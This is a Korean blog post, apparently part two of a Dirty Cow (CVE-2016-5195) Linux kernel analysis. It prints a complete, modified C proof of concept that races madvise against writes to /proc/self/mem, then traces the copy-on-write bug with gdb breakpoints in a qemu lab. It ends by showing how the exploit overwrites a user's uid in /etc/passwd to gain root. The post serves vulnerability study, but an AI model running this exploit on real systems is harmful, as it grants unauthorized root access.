Dirty Cow (CVE-2016-5195) 분석 - 2

해킹/ kernel 2019. 1. 22. 14:12

지난 글에 이어서 Dirty Cow 취약점 PoC를 디버깅 해보고 PoC를 이용해서 root 권한을 얻고 Dirty Cow 분석 포스팅을 마친다.


Proof - Debugging (v3.8 기준)


PoC - modified
  1. /* 
  2. ####################### dirtyc0w.c ####################### 
  3. $ sudo -s 
  4. # echo this is not a test > foo 
  5. # chmod 0404 foo 
  6. $ ls -lah foo 
  7. -r-----r-- 1 root root 19 Oct 20 15:23 foo 
  8. $ cat foo 
  9. this is not a test 
  10. $ gcc -pthread dirtyc0w.c -o dirtyc0w 
  11. $ ./dirtyc0w foo m00000000000000000 
  12. mmap 56123000 
  13. madvise 0 
  14. procselfmem 1800000000 
  15. $ cat foo 
  16. m00000000000000000 
  17. ####################### dirtyc0w.c ####################### 
  18. */  
  19. #include <stdio.h>  
  20. #include <sys/mman.h>  
  21. #include <fcntl.h>  
  22. #include <pthread.h>  
  23. #include <unistd.h>  
  24. #include <sys/stat.h>  
  25. #include <string.h>  
  26. #include <stdint.h>  
  27.   
  28. void *map;  
  29. int f;  
  30. struct stat st;  
  31. char *name;  
  32.    
  33. void *madviseThread(void *arg)  
  34. {  
  35.   char *str;  
  36.   str=(char*)arg;  
  37.   int i,c=0;  
  38.   for(i=0;i<100000000;i++)  
  39.   {  
  40. /* 
  41. You have to race madvise(MADV_DONTNEED) :: https://access.redhat.com/security/vulnerabilities/2706661 
  42. > This is achieved by racing the madvise(MADV_DONTNEED) system call 
  43. > while having the page of the executable mmapped in memory. 
  44. */  
  45.     c+=madvise(map,100,MADV_DONTNEED);  
  46.   }  
  47.   printf("madvise %d\n\n",c);  
  48. }  
  49.    
  50. void *procselfmemThread(void *arg)  
  51. {  
  52.   char *str;  
  53.   str=(char*)arg;  
  54. /* 
  55. You have to write to /proc/self/mem :: https://bugzilla.redhat.com/show_bug.cgi?id=1384344#c16 
  56. >  The in the wild exploit we are aware of doesn't work on Red Hat 
  57. >  Enterprise Linux 5 and 6 out of the box because on one side of 
  58. >  the race it writes to /proc/self/mem, but /proc/self/mem is not 
  59. >  writable on Red Hat Enterprise Linux 5 and 6. 
  60. */  
  61.   int f=open("/proc/self/mem",O_RDWR);  
  62.   int i,c=0;  
  63.   for(i=0;i<100000000;i++) {  
  64. /* 
  65. You have to reset the file pointer to the memory position. 
  66. */  
  67.     lseek(f,(uintptr_t) map,SEEK_SET);  
  68.     c+=write(f,str,strlen(str));  
  69.   }  
  70.   printf("procselfmem %d\n\n", c);  
  71. }  
  72.    
  73.    
  74. int main(int argc,char *argv[])  
  75. {  
  76. /* 
  77. You have to pass two arguments. File and Contents. 
  78. */  
  79.   if (argc<3) {  
  80.   (void)fprintf(stderr, "%s\n",  
  81.       "usage: dirtyc0w target_file new_content");  
  82.   return 1; }  
  83.   pthread_t pth1,pth2;  
  84. /* 
  85. You have to open the file in read only mode. 
  86. */  
  87.   f=open(argv[1],O_RDONLY);  
  88.   fstat(f,&st);  
  89.   name=argv[1];  
  90. /* 
  91. You have to use MAP_PRIVATE for copy-on-write mapping. 
  92. > Create a private copy-on-write mapping.  Updates to the 
  93. > mapping are not visible to other processes mapping the same 
  94. > file, and are not carried through to the underlying file.  It 
  95. > is unspecified whether changes made to the file after the 
  96. > mmap() call are visible in the mapped region. 
  97. */  
  98. /* 
  99. You have to open with PROT_READ. 
  100. */  
  101.   map=mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);  
  102.   printf("mmap %zx\n\n",(uintptr_t) map);  
  103. /* 
  104. You have to do it on two threads. 
  105. */  
  106.   
  107. //custom!!  
  108.   int file=open("/proc/self/mem",O_RDWR);  
  109.   lseek(file, (uintptr_t)map, SEEK_SET);   
  110.   char read_buf[30];  
  111.   read(file, read_buf, 29);  
  112.   printf("read: %s\n", read_buf);  
  113.     
  114.   lseek(file, (uintptr_t)map, SEEK_SET);  
  115.   write(file, argv[2], strlen(argv[2]));  
  116. //custom!!  
  117.   
  118.   pthread_create(&pth1,NULL,madviseThread,argv[1]);  
  119.   pthread_create(&pth2,NULL,procselfmemThread,argv[2]);  
  120. /* 
  121. You have to wait for the threads to finish. 
  122. */  
  123.   pthread_join(pth1,NULL);  
  124.   pthread_join(pth2,NULL);  
  125.   return 0;  
  126. }  
github에 존재하는 poc를 사용해 디버깅을 시도하니 madvise 스레드가 생각보다 훨씬 빨리 나와서 레이스 컨디션을 이용한 익스플로잇 자체는 매우 빠르게 볼 수 있어 좋지만 정상적인 Copy on Write 과정을 볼 수 없는게 아쉬웠다. 그래서 내맘대로 라인 107~116까지를 추가해서 스레드 생성 전에 정상적인 Copy on Wirte를 발생시켰다.


breakpoints:
__get_user_pages+278
__get_user_pages+245
madvise_dontneed
__access_remote_vm+90
__access_remote_vm+312

실행 과정을 확인하기 위한 포인트로 브레이크포인트는 위와 같이 5군데를 잡았다. 
  1. __get_user_pages+278 는 __get_user_pages 함수에서 follow_page 함수를 호출한 직후로 page 변수가 어떻게 변화하는지를 보기 위해 넣었다.
  2. __get_user_pages+245 는 취약점 원인이 되는 부분으로 foll_flags에서 FOLL_WRITE 권한을 제거하는 부분이어서 브레이크하여 확인한다.
  3. madvise_dontneed 는 madvise(MADV_DONTNEED)를 처리해 주는 부분으로 이부분이 실행된 후 page가 버려지는 것을 보기 위해 넣었다.
  4. __access_remote_vm+90는 copy_to_user_page를 호출하는 부분으로 실제로는 memcpy가 호출되며 실제 물리 메모리에 값이 쓰여지는 것을 확인할 수 있다. 이 부분을 통해 user page가 가리키는 부분에 값을 write 한다.
  5. __access_remote_vm+312 는 copy_from_user_page 4번과 반대로 read 할때 페이지에 있는 값을 memcpy 하는 부분이다.



우선 qemu에서 poc 코드를 만들고 root 권한 read only 파일을 만들어줬다. 그리고 test라는 유저 계정에서 위와 같이 PoC를 실행시켜서 취약점을 트리거하며 디버깅을 진행했다.


처음에는 이렇게 __get_user_pages에서 브레이크가 걸린다. 하지만 콜스택을 보면 main이나 스레드에서 호출 하는게 아니라 do_execve가 실행되며 프로세스가 초기화 될 때 발생하는 페이지 탐색이므로 무시하고 넘어간다.



몇번정도 넘어가니 mem_read를 하기 위해서 __get_user_pages가 호출되고 있다. follow page가 호출되고 처음엔 page 변수가 0이지만 while loop를 한바퀴 돌고 오면 정상적으로 페이지를 찾게 된다.


한번 더 continue 하면 이제 read할 페이지 주소가 나타난다. 0xffffea000071ca00이 실제 페이지 구조체의 메모리 주소다. 이 값을 기억해 두고 write에 의해 __get_user_pages가 호출됐을 때  이 페이지에 쓰는지 확인해 보자.



다음으로 copy_from_user_page가 처음으로 호출되어 브레이크가 걸렸다. memcpy를 호출하는 부분이며 현재 dest에는 12341111같은 값이 써져있는 것으로 보이고 여기에 복사하는 $rsi 값이 실제 매핑된 디스크의 물리 메모리 주소다 0xffff88001c728000을 기억해 두자


이제 write과정에서 __get_user_pages가 호출됐고 page는 0인 상황이다. 포스팅에 사진이 너무 많아지므로 이제 0으로 나오는 부분은 살포시 스킵하고 넘어가도록 한다.


while loop 안쪽에서 FOLL_WRITE 권한을 버리는 부분에서 브레이크 포인트가 걸렸다. disassemble 된 값을 봤을 때 eax와 0xfffffffe 를 and 연산하는 것으로 봐서 FOLL_WRITE가 1임을 간접적으로 확인할 수 있다. 아래 주석처리된 부분을 보면 현재 foll_flags는 0x17이므로 권한이 빠지면 0x16이 될 것이다.


while loop을 한바퀴 돌고 다시 follow_page가 호출된 다음 부분이다. 보이는 것과 같이 0xffffea00006a2c80으로 read할때의0xffffea000071ca00에서 page 구조체의 주소가 달라진 것을 확인할 수가 있다.0xffffea000071ca00이 원본 페이지 구조체의 주소고 0xffffea00006a2c80이 Copy on Write를 통해 생성된 private copy의 구조체라는 것을 알 수 있다.


이제 private copy 페이지로 memcpy가 일어나는데 보이는것 처럼 page 객체의 주소 뿐 아니라 실제 버퍼가 있는 메모리 주소도 $rdi 값을 보면 0xffff88001c728000에서 0xffff88001a8b2000로 바뀐 것을 알 수 있다.


이렇게 한번의 read와 한번의 write가 이루어 진 후 본격적으로 madvise와 procselfmem 스레드가 반복 호출되기 시작한다. 위에서 확인해 봣던 copy on write 과정에서 FOLL_WRITE권한을 제거한 시점부터 follow_page 함수가 호출되기 전에 madvise가 끼어들어 private copy를 날려버리는 순서로 진행되면 공격이 성공할 것이다!



continue 하다보면 위에 글에서 업급한 브레이크 포인트 순서상 1->2->3 번 브레이크 포인트가 연속으로 호출되면 성공이다. 캡쳐에서는 브레이크 포인트를 여러번 넣는 바람에 번호가 꼬였다. 실행도중 1->2->3->1->1 순서로 브레이크 포인트가 히트 되는것을 확인했고 이때 page 구조체를 보니 무려 0xffffea000071ca00가 들어있었다. read과정에서 확인했던 실제 디스크의 map 에 대한 페이지 구조체의 주소다. 어떤 권한을 가지고 follow_page가 호출되었는지 보기 위해 foll_flags를 확인하니 역시 0x16으로 FOLL_WRITE가 빠져있는 것을 확인할 수 있었다.


마지막으로 memcpy가 되는 부분까지 확인했다. 실제 디스크에 대한 map의 버퍼인 ~로 memcpy가 일어나고 있다. 이 루틴이 실행되고 나면 실제 R/O 디스크에 값이 쓰여저 공격이 성공한 상태가 된다.


qemu에서 인터럽트를 걸고 gdb의 브레이크를 모두 disable 해준 다음 continue하는 방식으로 프로그램을 바로 종료시켰다.  RUroot를 읽어보니 예상대로 "I am R00t !!!!!!!"로 정상적으로 값이 변조되었다. Race condition의 특성상 디버깅이 매우 지저분하고 길어졌는데 마지막으로 이 취약점을 활용해서 root 권한을 얻어보고 기나긴 포스팅을 마무리 한다.



Exploit


hexdump로 /etc/passwd 파일을 확인하고 test 계정의 uid가 0x4b4 오프셋에서 시작되는 것을 확인했다.저부분의 uid 1000 값을 덮어써서 0000으로 만들면 test계정의 uid가 0이 되고 다시 test로 로그인시 root 권한을 얻을 수 있을 것이다.

이 방법을 실행하기 위해 변조한 전체 poc중 67번째 라인 lseek(f,(uintptr_t) map,SEEK_SET);를 lseek(f,(uintptr_t) map + 0x4b4,SEEK_SET);로 바꿔준 후 다시 컴파일했다.

uid가 성공적으로 0000으로 덮어졌다!! 


로그아웃 후 다시 test 계정으로 접속해서 uid가 0(root)로 되어있는 것 까지 확인했다.
설명이 너무 장황해서 아무도 안볼듯

끝 - 






'해킹 > kernel' 카테고리의 다른 글

CVE-2019-7304(dirty sock)  (0) 2019.03.05
kernel 1-day 분석 환경설정하기  (0) 2019.01.23
Dirty Cow (CVE-2016-5195) 분석 - 1  (0) 2019.01.22
Tags
Social